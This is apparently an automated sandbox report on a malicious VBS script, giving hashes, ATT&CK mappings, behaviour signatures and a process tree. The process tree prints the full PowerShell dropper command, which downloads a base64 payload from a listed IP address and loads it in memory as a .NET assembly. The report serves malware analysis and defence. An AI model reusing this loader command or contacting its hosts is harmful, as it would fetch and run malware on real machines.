3a2e31f2844df5cb91eedbf24c0b93de4b0aa08525f733132c2bce0d7ab81acc

Resubmissions

21-12-2024 22:57

241221-2xpr2atjar 10

21-12-2024 20:29

241221-y9xfvsyngy 10

Analysis

max time kernel
30s
max time network
65s
platform
windows11-21h2_x64
resource
win11-20241023-en
resource tags

arch:x64arch:x86image:win11-20241023-enlocale:en-usos:windows11-21h2-x64system
submitted
21-12-2024 22:57

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General

Target

0a08857b3b6b52510c544f54f8b7489038e371a85db858ad3c34c4f7198da819.vbs
Size

195KB
MD5

a4f71409b11c7a677353f1d7b3e0d13a
SHA1

704ec3fdb8f2ee5e39957785f0d03d5268abd5e6
SHA256

0a08857b3b6b52510c544f54f8b7489038e371a85db858ad3c34c4f7198da819
SHA512

0ed1f3d2fff28a0b7977f966b35c65ed3c3c385eecacf5b1feb38c20ecbbb3017b77b4eca584ea342be86e8e3e5baeec2dbdda3de5c85e97658cd9a4892c1a52
SSDEEP

768:r1wsIXCNd5dghna/lS9P0P7SFuumB/bm/:4wCGBC/

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://20.7.14.99/dll/dll_ink.pdf

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
1	4240	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4240	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4240	powershell.exe
4240	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4240	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3516 wrote to memory of 4240	3516	WScript.exe	77
PID 3516 wrote to memory of 4240	3516	WScript.exe	77

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\0a08857b3b6b52510c544f54f8b7489038e371a85db858ad3c34c4f7198da819.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:3516
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('http://20.7.14.99/dll/dll_ink.pdf'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('txt.om/ort/gmi/moc.nesnez-igoto//:sptth'))
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4240

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lto0mu5t.bft.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4240-0-0x00007FFB35D43000-0x00007FFB35D45000-memory.dmp

Filesize
8KB

Download
memory/4240-1-0x0000029CC3E60000-0x0000029CC3E82000-memory.dmp

Filesize
136KB

Download
memory/4240-10-0x00007FFB35D40000-0x00007FFB36802000-memory.dmp

Filesize
10.8MB

Download
memory/4240-11-0x00007FFB35D40000-0x00007FFB36802000-memory.dmp

Filesize
10.8MB

Download
memory/4240-12-0x00007FFB35D40000-0x00007FFB36802000-memory.dmp

Filesize
10.8MB

Download
memory/4240-13-0x00007FFB35D43000-0x00007FFB35D45000-memory.dmp

Filesize
8KB

Download
memory/4240-14-0x00007FFB35D40000-0x00007FFB36802000-memory.dmp

Filesize
10.8MB

Download
memory/4240-17-0x00007FFB35D40000-0x00007FFB36802000-memory.dmp

Filesize
10.8MB

Download